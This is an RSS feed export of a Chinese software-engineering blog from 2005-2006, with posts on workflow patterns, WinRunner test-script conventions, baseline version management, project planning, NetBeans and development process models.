<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:taxo="http://purl.org/rss/1.0/modules/taxonomy/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0">
<channel>
<title>
<![CDATA[智心天空]]></title>
 <link>
http://zhaoshouzhong.blogcn.com</link>
<description>
<![CDATA[这是一个软件相关技术的BLOG，涉及的有：pb,java,winrunner,vss,sql server,vb,vc,project等]]></description>
<managingEditor>
<![CDATA[zhaoshouzhong]]></managingEditor>
<dc:creator>
<![CDATA[zhaoshouzhong]]></dc:creator>
<blogcn_uid>
zhaoshouzhong</blogcn_uid>
<blogcn_hits>
9015</blogcn_hits>
<item>
<blogcn_uid>
<![CDATA[1134442]]></blogcn_uid>
<title>
<![CDATA[软件核心竞争力]]></title>
<link>
http://zhaoshouzhong.blogcn.com/diary,204115662.shtml</link>
<description>
<![CDATA[   搞软件开发这些年来，无论开发思想还是开发技术总是在跟着国外的潮流跑。struts热时研究struts，hibernate热时研究hibernate，设计模式热时研究设计模式，spring热时研究spring，ejb热时研究ejb，soa现在热了又开始研究soa...唉，反反复复，无穷尽也。我们总是在研究研究，学习学习。国外西北风，国内也马上西北风，国外东南风，国内也马上跟着转。
   什么时候我们也有自己的核心技术，让国外的开发人员跟着我们的技术方向跑？国内不少开发人员做起了国外先进技术的播种者，但却很少人实实在在的作一些核心技术产品的开发。而更多的象我之类的人，为了生存，每天忙忙碌碌的随波逐流。
   没有核心技术，就没有竞争力。期待软件行业更多的弄潮儿！]]></description>
<pubDate>
2006-01-12 10:28:10.0</pubDate>
<guid>
http://zhaoshouzhong.blogcn.com/diary,204115662.shtml</guid>
<comments>
http://zhaoshouzhong.blogcn.com/diary,204115662.shtml#comment</comments>
</item>
<item>
<blogcn_uid>
<![CDATA[1134442]]></blogcn_uid>
<title>
<![CDATA[微内核研究]]></title>
<link>
http://zhaoshouzhong.blogcn.com/diary,204115663.shtml</link>
<description>
<![CDATA[   这段日子，研究了一下所谓的微内核，包括工作流引擎，开源产品的微内核。先把网上收集的资料作个列表： 
   http://javafox.vip.myrice.com  工作流引擎微内核研究
   http://searchwebservices.techtarget.com.cn/tips/110/2127110.shtml 基于spring微内核构建工作流
   http://www.blogjava.net/calvin/archive/2005/08/30/11099.aspx spring微内核研究
   http://linux.chinaunix.net/news/tech/2005-06-09/1698.shtml jboss5.0放弃jmx，采用pojo和DI作为微内核核心技术。
   现在开源产品，微内核更多的有DI容器充当，有容器提供接口，进行业务功能扩展。未来的容器趋势是基于POJO的DI容器。研究DI容器，可以先研究pico，它代码相对简单http://www.picocontainer.org/，可以了解DI的基本原理，然后再研究spring。]]></description>
<pubDate>
2006-01-12 10:08:55.0</pubDate>
<guid>
http://zhaoshouzhong.blogcn.com/diary,204115663.shtml</guid>
<comments>
http://zhaoshouzhong.blogcn.com/diary,204115663.shtml#comment</comments>
</item>
<item>
<blogcn_uid>
<![CDATA[1134442]]></blogcn_uid>
<title>
<![CDATA[XPDL2.0正式版发布]]></title>
<link>
http://zhaoshouzhong.blogcn.com/diary,204115506.shtml</link>
<description>
<![CDATA[     WFMC于2005.10.3发布了xpdl2.0 Release版本。xpdl2.0比1.0语法增强了很多，兼容了BPMN(Business Process Modeling Notation)。并且对于应用部分，扩充增加了对EJB,POJO,WebService,xlst的支持,增加了事件的语法。有了这些支持，对实现分布式工作流开发就相对比较容易了。
     JAWE目前仅实现了xpdl1.0版本，shark也仅能解析xpdl1.0版本。要他们完全支持xpdl2.0，还需要等待他们最新的版本发布。]]></description>
<pubDate>
2005-11-22 11:32:29.0</pubDate>
<guid>
http://zhaoshouzhong.blogcn.com/diary,204115506.shtml</guid>
<comments>
http://zhaoshouzhong.blogcn.com/diary,204115506.shtml#comment</comments>
</item>
<item>
<blogcn_uid>
<![CDATA[1134442]]></blogcn_uid>
<title>
<![CDATA[基于基线的版本管理和质量控制]]></title>
<link>
http://zhaoshouzhong.blogcn.com/diary,204115510.shtml</link>
<description>
<![CDATA[基线概念：
基线是项目储存库中每个工件版本在特定时期的一个“快照”。它提供一个正式标准，随后的工作基于此标准，并且只有经过授权后才能变更这个标准。建立一个初始基线后，以后每次对其进行的变更都将记录为一个差值，直到建成下一个基线。 
参与项目的开发人员将基线所代表的各版本的目录和文件填入他们的工作区。随着工作的进展，基线将合并自从上次建立基线以来开发人员已经交付的工作。变更一旦并入基线，开发人员就采用新的基线，以与项目中的变更保持同步。调整基线将把集成工作区中的文件并入开发工作区。
建立基线的三大原因是：重现性、可追踪性和报告。
重现性是指及时返回并重新生成软件系统给定发布版的能力，或者是在项目中的早些时候重新生成开发环境的能力。可追踪性建立项目工件之间的前后继承关系。其目的在于确保设计满足要求、代码实施设计以及用正确代码编译可执行文件。报告来源于一个基线内容同另一个基线内容的比较。基线比较有助于调试并生成发布说明。
建立基线后，需要标注所有组成构件和基线，以便能够对其进行识别和重新建立。
建立基线有以下几个优点：
&#8226;基线为开发工件提供了一个定点和快照。 
&#8226;新项目可以从基线提供的定点之中建立。作为一个单独分支，新项目将与随后对原始项目（在主要分支上）所进行的变更进行隔离。 
&#8226;各开发人员可以将建有基线的构件作为他在隔离的私有工作区中进行更新的基础。 
&#8226;当认为更新不稳定或不可信时，基线为团队提供一种取消变更的方法。 
您可以利用基线重新建立基于某个特定发布版本的配置，这样也可以重现已报告的错误。
备注：以上的信息摘至 RUP(Rational Unified Process,统一过程管理)

基于基线的版本管理和质量控制：
版本管理通常采用如下的方式：（1）每天用最新的程序作为进行测试和bug修正。如果开发新的功能，也是copy最新的版本作为基准版本开发、测试。（2）指定某一天的版本作为一个发布版本，然后把这个版本的文档在vss中单独建档，那么这个版本的程序就和其它版本隔离开了。
以上方法存在如下问题：
（1）采用每天的版本作为基准版本开发、测试，那么谁也无法保证这个版本是否是稳定的，哪么每天的版本都处于一种不稳定状态。如果始终在一种不稳定的版本上测试、开发，那么测试效果、开发效果可想而知。
（2）第二种方法也存在不足，即无法实现版本的可跟踪性，并且这种版本的指定，缺乏一定的质量标准（即达到某种质量标准后才可以升级版本），版本的稳定系数无法确知。如果版本多了，那么开发员要同时维护多个版本的程序，既增加了开发成本，又增加了测试人员的测试成本。
（3）无法确切知道开发程序的质量水准，目前仅仅通过bug数量来衡量。这个标准比较粗，并且只是对程序开发测试结果的衡量，无法衡量开发过程、测试过程对软件质量的影响。
解决以上问题，可以以基线作为版本管理的手段，通过基线的提升进行软件质量水平的提升，每次基线的提升就是一个版本的发布。图形如下所示：
 
[img]http://images.blogcn.com/2005/11/13/7/zhaoshouzhong,20051113125933.gif[/img]
&#61548;基线初始化：
把某个版本的某个日期的程序（经过充分测试，证明相对稳定的），加入版本控制，放到vss中，作为初始版本。
&#61548;制订基线晋升标准：
我们可以制订几个基线，如单元测试级别、集成测试级别、系统测试级别、初步稳定级别、较为稳定级别、稳定级别等基线，以用来标示版本的稳定程度。
每个级别都要制定一定的标准，如单元测试级别，需要覆盖80%以上的单元测试，并且bug数量累计小于50个，日平均小于3个，如果达到这个标准，就可以认为需要提出基线晋升申请了。
&#61548;制订基线晋升策略：
晋升时间：如开始可以每三个月晋升一次，以后每半年晋升一次，可以作为具体任务下达给各项目经理，正如同目前的版本稳定计划一样。
晋升评审：基线晋升需要提出申请，并需要准备相关资料和数据，由配置变更委员会评审。首先要由各项目经理提出负责系统的基线晋升申请，然后由研发主管提出整个系统的基线晋升申请。
不达线处理：对于按期达不到标准的，需要制订相关修正策略。
基线测试：基线评审通过后，要进行测试，证明该基线是否稳定，稳定后，正式提升基线。
&#61548;程序员：
程序员，每天作的就是在原基线程序的基础上修改程序、测试、提交。为了能够通过基线晋升、他必须提高开发质量、提高bug修改成功、发掘更多的bug（在制订基线标准时，需要把程序员影响的因素考虑在内）
&#61548;程序经理：
程序经理，每天都要把精力放到软件的质量监控上，指导程序修改bug，安排开发人员、测试人员测试，以及代码抽查、代码检查。如果不这样，到时候他无法完成基线晋升的任务。
&#61548;测试员：
测试员必须根据基线晋升的标准全面、系统的进行测试，如果他完不成测试要求，也会影响基线的晋升。
&#61548;测试经理：
根据基线晋升的任务，合理安排、组织对某个系统、模块的测试。
总之，通过基线的管理，把方方面面的人调动起来，把他们的精力由被动的作，到主动的承担起软件质量改进的责任。并且，这种质量的改进是个渐进的过程。
基线管理涉及的东西还是很多的，限于篇幅限制，无法一一列举了。基线管理是配置管理的一个很重要的内容，关于它的意义和作用，网上有好多资料介绍，因此采用基线进行版本管理是项目管理的重要组成部分。
]]></description>
<pubDate>
2005-11-13 12:58:03.0</pubDate>
<guid>
http://zhaoshouzhong.blogcn.com/diary,204115510.shtml</guid>
<comments>
http://zhaoshouzhong.blogcn.com/diary,204115510.shtml#comment</comments>
</item>
<item>
<blogcn_uid>
<![CDATA[1134442]]></blogcn_uid>
<title>
<![CDATA[计划管理]]></title>
<link>
http://zhaoshouzhong.blogcn.com/diary,204115511.shtml</link>
<description>
<![CDATA[   ISO的核心理念是PDCA（Plan，Do，Check，Again）。其中首要的要素是计划。一些小的公司，计划管理是很混乱甚至没有什么计划的。其管理是触发式管理，客户有什么需求、发现什么bug了，就组织人员开发和解决。这些公司缺少一个长期、中期、短期的项目和产品计划。
   计划得重要性是不言而喻的，万事“预则立，不预则废”。具体的重要性，相关的企业管理理论中讲的很多，我就不再重复，我的重点是如何制定计划，监控计划。
   工具的选择：目前有比较好的项目管理工具，如project，visio（可以作干特图，不是专门的项目管理工具）。利用这些工具，可以提高项目管理水平。当然还有其他的项目管理工具，不过本人认为利用project就足够了。关于如何使用project，读者可以参阅相关资料，如何基于project，开发网络版项目管理工具，可以查找本人以前的有关文档。
    计划的制定：计划有长期、中期、短期计划。长期计划是由公司的上层和高级管理层制定的，一般为一年以上的计划。长期计划一般是产品的版本发布计划，新版本计划，市场计划等。中期和短期计划，一般由项目经理制定，中期计划主要侧重于版本的开发计划，短期计划主要侧重于本月、本周的开发计划。而一些软件开发的实际情况是长期计划几乎没有，中期计划很少，短期计划任务不够明确。制定计划是很繁琐的，也很难制定准确，有时候需要经常调整计划。但是无论多麻烦，都必须有清晰的计划。制定计划，要注意检查资源是否超负荷或者负荷不够。当计划计划涉及多个部门时，要充分协调后在制定，以防止制定的计划不可行。
    目标：有了计划，还不够，还要给计划制定具体的目标。长期、中期、短期计划都要有目标，有了目标，才能使开发不偏离方向。这往往是计划制定者最容易忽略的地方。比如说开发一个新产品，新产品的目标是什么要制定，如：功能强大（如何强大，要列出包含的具体功能），操作简单（要制定相关标准），架构可以扩充，兼容等等。而短期开发计划中，也要制定明确的目标。如开发新任务时，要告诉程序员，目标是：质量第一，宁可慢些也要保证开发质量；开发完必须通过单元测试等。其实我们制定计划时，都有一个默认的目标，这个目标存在自己的大脑中，必须把它表达出来，清楚地传递给开发人员。不要以为自己明白了，其他人就明白了。
    计划的调整：计划制定后，不会一成不变的。而往往需要经常调整。如果计划涉及到多个部门，调整就比较复杂了。要和各部门协调好后，才能调整。计划是有优先级的，要根据实际情况，调整任务的优先级。优先级高的先开发，低的延后开发。但是如果计划调整的太频繁，就需要检查制定的计划是否合理，或者反思公司的管理是否有问题。开发中经常会出现这样的现象：一个任务A正在开发，突然接到一个命令，要先做任务B；任务B还没有作多久，领导又要让作任务C…..如此的安排，将会搞得开发混乱和开发人员的无所适从。出现这种情况，项目经理必须要把关，必要时“抗令”。我和一个香港朋友闲谈时，他说老板的头脑很活跃，经常是一转身就是一个想法，常常令他不知下一步要干什么。
   计划的监控：计划制定后，必须检查计划的执行情况，否则计划就会白制定。这也是计划制定者最容易忽略的。计划制订好后就束之高阁，不管不问了。至少每周要检查一次项目的进展，如果比较重要的计划，最好每天都检查。否则时间长了再检查，往往发现开发员实际作的和计划的差别很大，从而造成任务的延期。任务检查时，发现的问题要立即解决，如果和其他部门有关，要要其他部门协调后共同解决。如果发现程序员工作方法有问题，也要立即指正。发现问题后，不要等到工作总结时才提，这样就达不到实际的效果了。
   总结：计划管理涉及的东西很多，很难用一点文字描述清楚。要了解计划管理的精髓，还需要阅读有关管理方面的书籍。
]]></description>
<pubDate>
2005-11-13 12:37:37.0</pubDate>
<guid>
http://zhaoshouzhong.blogcn.com/diary,204115511.shtml</guid>
<comments>
http://zhaoshouzhong.blogcn.com/diary,204115511.shtml#comment</comments>
</item>
<item>
<blogcn_uid>
<![CDATA[1134442]]></blogcn_uid>
<title>
<![CDATA[winrunner经验总结]]></title>
<link>
http://zhaoshouzhong.blogcn.com/diary,204115514.shtml</link>
<description>
<![CDATA[1.1脚本录制规范：
基本原则是录制脚本要分开、gui文件要合并、批调用回放验证、可移植回放验证。
1.1.1录制脚本要分开：
脚本太大，不仅不利于以后的维护，并且会导致WinRunner的不可预测的错误产生（具体可以参考WinRunner 的Readme文档）。录制时，可以根据测试用例的流程，拆分为几个小流程，对每个小流程分别录制成不同的脚本。
1.1.2gui文件要合并：
首先，要在系统参数中，设置gui的录制模式为“Global GUI Map File”，如下：
 [img]http://images.blogcn.com/2005/11/6/10/zhaoshouzhong,20051106192858.gif[/img]

录制过程中，WinRunner会自动产生gui文件，一个测试用例要确保生成一个公用gui文件。用一个gui文件主要是为了以后gui对象的维护，脚本回放时gui对象的查找。但是由于我们的测试用例是分开录制的，每个小流程录制时都会产生一个gui临时文件，因此录制完脚本后要把临时gui文件合并到该测试用例的公用gui文件中。但是也要注意，开始新的录制前，一定要先手工加载测试用例的公用gui文件。
如果划分的子流程超过20个，则按每20个子流程录制一个gui文件的方式。Gui文件太大，会影响WinRunner的回放效率。
1.1.3批调用回放验证：
为了提高脚本的正确性，每录制完成一个子流程后，都要恢复数据库，其他初始环境进行回放，以近早发现脚本错误。
单个测试用例脚本录制完成后，要专门写一个主脚本，进行各子脚本的主次调用处理，然后恢复数据库和其他初始环境进行回放，以验证整个脚本是否可以正确回放。
1.1.4可移植回放验证：
由于WinRunner 工具的限制，在本机回放成功后，如果把脚本移植到其他机器上，往往无法成功。这其中既有自己编写的脚本问题，又有WinRunner录制自动生成的脚本问题。
自己编写脚本问题：往往是编写的可移植性较差，如加载gui文件时用的是绝对地址，如gui_load(“c:\\aa\\aa.gui”)，这样的脚本换到其他机器必然出错。
WinRunner录制自动生成的脚本问题： WinRunner的录制脚本往往和机器的环境有关，如果换了其他机器环境，往往回放不成功，这就需要手工修改脚本。
因此，可移植性回放是非常必要的。
1.1.5脚本中使用的ODBC数据源名称统一命名为WR。
1.1.6录入中文数据时统一使用简体。
1.1.7数据表列名称规定
录入数据驱动的脚本时，数据表列名称统一采用英文，使用PB数据窗口中列对象的名称。数据表列名称下的第一行用中文对英文列名称做注释，使用PB数据窗口中列对象的中文标签，这一行不作为有效的录入数据。与数据表相关的循环语句请修改脚本从数据表的第二行开始读取数据。典型的例子是将数据驱动脚本中For循环的第一个表达式改为table_Row = 2。
1.1.8脚本成功回放判定规定
一个子测试录制完成后，一定要及时回放测试，直到测试报告显示测试结果为OK，且子测试明细报告中没有红色的出错提示。如果是回放主测试，回放成功的标准是：主测试的结果报告显示为OK，同时所有子测试的结果报告也为OK,且子测试明细报告中没有红色的出错提示。
1.1.9WinRuner主脚本中关于设置系统日期时间设置的规定，以保证脚本所描述的业务过程按业务逻辑在时间上有序。
因为脚本回放与脚本录制时的系统日期时间不一致，会导致与系统时间关系密切的测试脚本回放时失败。
为了消除时间差导致的回放错误,要求每一个测试用例的主测试在第一个子测试前加上date_set_system_date(年,月,日,时,分,秒)函数,以修改本地机器的日期时间等于这个主测试在接力式验收回放成功执行后的日期时间.这样再次回放时系统的日期时间就和上一次成功回放时的日期时间一致。

1.2测试脚本存放规范：
各子测试脚本必须放到同一目录下，即环境目录下的Script目录下。这样便于批调用时引用。
1.3Gui文件的存放：
Gui 文件，必须和测试脚本放到同一目录下，即环境目录下的Script目录下。
1.4WinRunner使用规范：
（1）必须写上清楚的注释：编写测试脚本，要进行详细的标注，每测试一小段，就要写一段备注，以便于将来修改，格式可以参考如下：
   功能描述：描述脚本的功能
   前置条件：该脚本在满足什么条件下才可以被执行
   步骤描述：描述脚本录制的动作
   检查点描述：描述作了对什么的检查，检查条件。
   录入人：录制人
   录入时间：
   备注：
（2）gui文件的加载保存：
每次开始测试用例的录制脚本前，如果该测试用例已经存在gui文件，一定要手工打开gui文件，再开始录制。如果不想手工打开，可以写段自动加载gui的脚本，每次录制前运行一下该脚本。录入脚本后，要注意保存GUI文件，如果测试用例已经存在gui文件，一定要把临时的gui文件合并到该用例的公用gui文件中，然后保存。
（3）如果机器数据较慢，或者网络较慢、或者数据库运行较慢，需要把等待打开窗口的时间设长。或者在脚本中插入同步点来处理。
 [img]http://images.blogcn.com/2005/11/6/10/zhaoshouzhong,20051106193041.gif[/img]

（4）WinRunner不支持Fomular One，目前不可以用wr测试Fomular One
使用WinRunner录制时不可以切换不同输入法录制，仅可以用一种输入法。 
（5）WinRunner 对shift 键无法纪录，需要特殊处理 ，可以加入如下处理
obj_type "dw_1.fslipbugno","<kShift_L>-");（告诉WinRunner按下Shift键）
中间是选择行的脚本
obj_type ("dw_1.FBugNo","<kShift_L>+");（告诉WinRunner释放Shift键）
（6）保证录制的脚本干净性：
在录制过程中，不可避免的要进行其他动作，如打开邮件、打开非录制程序等，这些动作也会被WinRunner录制下来，这些动作会严重影响测试脚本的回放（除非作这些动作前停止录制）。
因此，为了保证脚本的干净，在WinRunner的参数中进行如下设置：设置Recode 的“Selected Applications” 为要录制的程序。 
[img]http://images.blogcn.com/2005/11/6/10/zhaoshouzhong,20051106193148.gif[/img]

（7）录制脚本时，不允许同时打开两个运行程序（指进行wr测试的程序）
（8）变量的声明：WinRunner有auto \public \static \extern 四个类型的变量作用域声明，其中public为默认的类型。由于public 是全局的，只要在一个脚本中声明了，在任何其他脚本都可以引用，这就带来一个问题，如果其他的脚本修改了这个public 变量的值，将会引发问题。因此变量声明时必须明确的加上类型（auto \public \static \extern），public 的一般不要使用，推荐使用static \auto 。
2.异常处理规范：
在录制或者编写测试脚本时，必须进行异常的错误处理。以提高程序的错误检查能力。
2.1函数异常检测：
对于一些常用函数，必须进行函数执行异常的处理。至少进行如下函数的异常检测：et_window、win_activate、menu_select_item、ddt_open。
发现异常后，要终止程序的执行，并发邮件通知相关人员。
2.2返回值规范：
模块、函数的返回值约定如下，0 表示成功 ，其他失败。
对于一些函数的返回值，需要进行判断处理：
（1）每一个call语句都应该检查它的返回值是否为0, 如果不为0则报错退出。
所有GUI检查点、数据库检查点都应做返回值检查。如果不为0则报错退出。
]]></description>
<pubDate>
2005-11-06 19:33:20.0</pubDate>
<guid>
http://zhaoshouzhong.blogcn.com/diary,204115514.shtml</guid>
<comments>
http://zhaoshouzhong.blogcn.com/diary,204115514.shtml#comment</comments>
</item>
<item>
<blogcn_uid>
<![CDATA[1134442]]></blogcn_uid>
<title>
<![CDATA[Workflow模式]]></title>
<link>
http://zhaoshouzhong.blogcn.com/diary,204115634.shtml</link>
<description>
<![CDATA[Workflow模式是开发工作流必须了解的知识。
本文档是根据如下资料简单翻译的：
http://is.tm.tue.nl/research/patterns/patterns.htm

Basic Control Flow Patterns(基本模式)
1.Sequence 模式
定义：串行模式：在一个工作流中，一个动作在另外一个动作完成后使能。
 [img]http://images.blogcn.com/2005/11/6/10/zhaoshouzhong,20051106183748.gif[/img]
举例：单据录入的动作完成后，审核的动作被执行。

2.Parallel Split模式：
定义：并行分支模式（与分支、AND-Split）：工作流中的一个节点，在该节点，一个单一的线程被分成多个线程，这些线程可以被并行执行，因此，分支的动作可以被同时执行或者以某种顺序执行。

 [img]http://images.blogcn.com/2005/11/6/10/zhaoshouzhong,20051106184121.gif[/img]

举例：客户付款后，送货和通知客户的动作可以并行执行
3.Synchronization模式：
定义：同步模式，（与汇合、AND-Join）：在工作流中的一个点，在该点处，所有并行的子流程或者活动，汇合成一个单一的线程。因此必须所有子流程（活动）执行完成后，才可以执行下一个活动。
前提条件：所有的子流程（活动）仅能被执行一次，不可以重复执行
[img]http://images.blogcn.com/2005/11/6/10/zhaoshouzhong,20051106184250.gif[/img]

 
举例：
4.Exclusive Choice 模式：
定义：唯一选择模式（XOR-split）：在工作流的一个点，根据选择条件或者工作流控制数据，在多个分支中选择一个分支执行。
[img]http://images.blogcn.com/2005/11/6/10/zhaoshouzhong,20051106184349.gif[/img]

5.Simple Merge 模式
定义：简单合并模式（XOR-join）：在工作流的一个节点，一个或者多个可选分支非同步到达。只要一个动作完成，就会触发后续动作。
前提条件：这些分支中不存在并行执行的情况。
[img]http://images.blogcn.com/2005/11/6/10/zhaoshouzhong,20051106184448.gif[/img]

Advanced Branching and Synchronization Patterns (高级分支、同步模式)
6.Muti-Choice模式：
定义：多选择模式（或分支 OR-split）：在工作流中的一个节点，根据条件或者相关控制数据，多个分支被选择。Exclusive Choice 模式仅能选择一个分支
备注：由于某些工作流不支持该模式，因此，可以通过AND-split 模式，XOR-split模式组合来表达。
[img]http://images.blogcn.com/2005/11/6/10/zhaoshouzhong,20051106184620.gif[/img]
 
举例：A活动执行完后，根据条件，B活动，C活动被选择执行。

7.Synchronizing Merge模式：
定义：同步合并模式：在工作流中的一个节点，多个被选的分支汇合成一个单一的线程。如果有多于一个的分支被执行，工作流会等待所有的分支执行完成后，才开始下一个动作的执行。

前提条件：在该节点的下一个动作执行前，被选的分支动作仅能被执行一次。
[img]http://images.blogcn.com/2005/11/6/10/zhaoshouzhong,20051106184738.gif[/img]

举例：加入A、 B 被选择执行，只有当A 、B都执行完毕后，动作D才可以被执行。

8.Multi Merge 模式：
定义：重复组合模式：在工作流的一个节点，多个被选分支非同步的聚合。每一个分支完成后，后续的动作都会被执行一次。
[img]http://images.blogcn.com/2005/11/6/10/zhaoshouzhong,20051106184837.gif[/img]

举例：如果A、B被 选择执行，A执行完毕后，D会被跟着执行；B执行完毕后，D也会再执行一次。

9.Discriminator 模式：
鉴别器模式（M-OUT-of-N模式 ）：在工作流中的一个节点，在等待N个分支的执行的过程中，只要其中的M个分支完成，它就会触发随后的动作，并忽略其他的分支。
[img]http://images.blogcn.com/2005/11/6/10/zhaoshouzhong,20051106184953.gif[/img]

举例：只要B\C\D 三个活动中，有两个活动完成，就会触发E动作。另外一个动作将会被忽略。

Structural Patterns(结构化模式)
10.Arbitrary Cycles模式：
定义：任意循环模式：在工作流的一个节点，一个或者多个活动可以被重复执行。
[img]http://images.blogcn.com/2005/11/6/10/zhaoshouzhong,20051106185117.gif[/img]

11.Implicit Termination 模式：
定义：隐式终止模式：在没有其他活动可以执行时，一个子流程应该被终止。当然，前提是不存在死锁的情况。

Patterns involving Multiple Instances （多实例模式）
12.Multiple Instances Without Synchronization 模式：
定义：非同步多实例模式：在一个工作流实例的环境中，一个动作的多个实例可以被创建。也就是说在控制线程外，产生新的线程。这些线程相互独立，不需要同步。

举例：在客户订书的流程中，客户可以对不同的书下单，因此订书的动作存在多个实例，订A书的实例，订B书的实例等等。

13.Multiple Instances With a Priori Design Time Knowledge 
定义：拥有优先设计知识的多实例模式：在一个流程实例中，一个活动被实例化的次数在设计时是可知的。一旦所有已知的实例完成，其他的活动需要被执行。

举例：某个订单，需要三次不同的审核。

14.Multiple Instances With a Priori Runtime Knowledge模式：
定义：拥有优先运行知识的多实例模式：在一个流程实例中，一个活动被实例的话次数在设计时是不可知的，它依赖于流程特性或者资源可用性，仅在流程实例运行时的某个阶段可知。

举例：在一个评审团对科学论文的评审流程中，评审的动作依赖于论文的内容，评审团人员的数量，评审团的信誉。

15.Multiple Instances Without a Priori Runtime Knowledge模式：
定义：无运行知识的多实例模式：在一个流程实例中，一个活动被实例的话次数在设计时是不可知的，在流程运行的过程中也是不可知的。

举例：在100台计算机的运输流程中，每次运输的计算机的个数是不可知的，因此整个的运输次数也是不可知的。

State-based Patterns (基于状态的模式)
16.Deferred Choise 模式：
定义：延期选择模式：在工作流的一个节点，在多个可选分支中，只有一个分支选中。不同于XOR-split模式(选择是显式的，根据条件判断，立即决定分支的选择)，可选分支是由环境决定的。不同于AND-split模式，只有一个分支被选择。也就是说一旦环境激活其中的一个分支，其他的分支讲被丢掉。很重要的一点是：直到可选分支中的一条被激活，“选择”才进行，因此选择的时刻被尽可能的延期。

17.Interleaved Parallel Pattern模式：
定义：交叉并行模式：一组动作以任意的顺序执行。动作执行的顺序，在工作流实例运行时刻决定，不存在两个动作同时运行的情况。

举例：在体检的中，血液检查、视力检查是两个不同的动作，这两个动作的先后顺序可以是随机的，但是一个时刻只可以执行一个动作，不会同时进行。

18.Milestone模式：
定义：里程碑模式：工作流实例的一个动作依赖于某个特定状态，也就是说当某个里程碑到达后，该动作才可以被执行。

举例：在工厂发货前的头两天，客户可以取消订单。


19.Cancel Activity 模式：
定义：活动取消模式：一个使能的活动被设为不可用，即等待一个活动执行的线程被移除。

举例：一个设计通常由两组工程师检查，为了赶进度，其中一组的检查可能被取消

20.Cancel Case模式：
定义：取消案例模式：一个工作流的实例被彻底的移除，也就是说无论是否该实例有动作已经实例化。

举例：在最终法院判决前，起诉人可以撤销上诉。


]]></description>
<pubDate>
2005-11-06 18:52:05.0</pubDate>
<guid>
http://zhaoshouzhong.blogcn.com/diary,204115634.shtml</guid>
<comments>
http://zhaoshouzhong.blogcn.com/diary,204115634.shtml#comment</comments>
</item>
<item>
<blogcn_uid>
<![CDATA[1134442]]></blogcn_uid>
<title>
<![CDATA[netbean平台]]></title>
<link>
http://zhaoshouzhong.blogcn.com/diary,204115515.shtml</link>
<description>
<![CDATA[为了加快swing的开发,netbean提供了一个基于swing的开发平台.类似的有spring Rcp,eclipse rcp.基于netbean平台开发的软件还是不少的,如jcreator.netbean平台提供了一个框架,基于该框架,开发人员就可以把注意力放到业务开发上,而不要过多关心布局等问题.现在把有关netbean平台的相关资料介绍如下:
netBeans基础架构及术语快览：http://openide.netbeans.org/povraytutorial/idioms.html
数据系统API详解：http://www.netbeans.org/download/dev/javadoc/org-openide-loaders/org/openide/loaders/doc-files/api.html
基于netBeans平台应用程序的开发实例--FeedReader：http://www.netbeans.org/kb/articles/feedreader-tutorial.html
基于netBeans平台应用程序的开发实例--Stock：http://www.ociweb.com/jnb/jnbOct2005.html
netBeans开发者问与答：http://www.ociweb.com/jnb/jnbOct2005.html
基于netBeans平台的应用程序的界面外观定制：http://ui.netbeans.org/project/ui/docs/ui/themes/themes.html
netBeans平台API大全：http://www.netbeans.org/download/dev/javadoc/
netBeans平台中LookUp设计模式的使用：http://openide.netbeans.org/lookup/
开发指南索引：http://platform.netbeans.org/tutorials/index.html]]></description>
<pubDate>
2005-11-04 20:23:40.0</pubDate>
<guid>
http://zhaoshouzhong.blogcn.com/diary,204115515.shtml</guid>
<comments>
http://zhaoshouzhong.blogcn.com/diary,204115515.shtml#comment</comments>
</item>
<item>
<blogcn_uid>
<![CDATA[1134442]]></blogcn_uid>
<title>
<![CDATA[谈瀑布模型和迭代模型]]></title>
<link>
http://zhaoshouzhong.blogcn.com/diary,204115518.shtml</link>
<description>
<![CDATA[瀑布模型是应用较多，较为广泛的一种开发模型。一般的程序员都知道开发的几个阶段：需求、设计、开发、测试。早期的瀑布模型，是单方向的，即需求—〉设计—〉开发—〉测试。下一个阶段对上一个阶段没有反馈，要求上一个阶段的工作做得足够好。如需求要求一次做好后，就不需要再调整了。这种模式，缺点很多，已经不再使用了。
国内的软件开始时，最为常见的问题是需求难做，需求老是频繁变动。经常导致项目脱期，后期维护困难。有时候软件上线后，用户的需求还是调整来调整去，做到最后，项目成了烂摊子。
因此，改进后的瀑布模型，有了反馈途径。需求<—>设计<—>开发<—>测试。如测试发现问题后，如果是编码有问题，则反馈到开发人员。开发人员发现是设计的问题，就会找设计人员，设计人员如果发现是由于需求不明确引起的，就会找业务分析人员。
有了反馈，并不意味着万事大吉了，瀑布模型有个前提是，必须做好该阶段的工作，才能进入下一个阶段。即必须等需求全部做好后，才能进入设计阶段，而必须等设计做好后，才能进入开发阶段。其实，这时一种很理想的设想，开发中，我们很难做好需求，也很难一次性做好设计。举例来说，做设计时，普遍感觉设计很难写的很详细，就是写好了，开发时往往发现设计不够合理，或者考虑不周，需要重写设计文档。开发—发现设计不合理—修改设计—再开发—再次发现设计不合理—再次修改设计…….这样的过程往往反复多次，往往的结果是先开发，等开发完成后，在写设计的一个恶果。
当然，瀑布模型并不一无是处，如果软件产品已经开发出来，处于维护和功能增强阶段，我个人认为使用瀑布模型，还是很好的。如果新开发一个产品，瀑布模型不是很合适。
笔者参与制定的瀑布模型如下，可以供大家参阅一下：
客户需求整理（按照角色形成客户需求文档）—>编写开发需求（确定功能点和用户界面）—>编写设计（详细设计）—>编写测试用例—>开发—>开发人员单元测试—>测试人员单元测试和流程测试—>顾问测试—>QA抽查—>结束
每个阶段都需要审核后，才能进入下一个阶段。
注意：
1、需求分为两部分：客户需求和开发需求。给客户划分角色，整理每个角色的功能需求，是零散的客户需求整理，面向顾问和客户。开发需求，相当于需求分析。根据客户需求，确定要开发的功能点，用户阶段等元素，该需求面向开发人员。
2、界面部分，按照标准的软件定义，应该放到概要设计部分。而我们在实践中发现，界面部分用户往往调整较多，如果放到设计文档，界面调整时，需求和设计文档需要同步修改。因此，界面部分放到开发需求文档中
3、去掉概要设计阶段：写设计文档，比较难以把握设计写到什么程度。设计写的太详细了，就变成了详细设计，写简单了，往往描述不清楚。
4、设计完成后，马上写测试用例，而不是开发。这样可以验证需求和设计合理性。

当然，瀑布模型，不限于我描述的模式，可以根据实际开发需要，进行变通处理。

迭代模式，是Rational重点推荐的一种模式。它的一个核心理念是，项目开发要进行多次迭代。一个项目的开发，分为多个里程碑，每个里程碑进行一次需求、设计、开发、测试的迭代。
具体的资料可以参考：http://www-128.ibm.com/developerworks/cn/rational/products/rup/
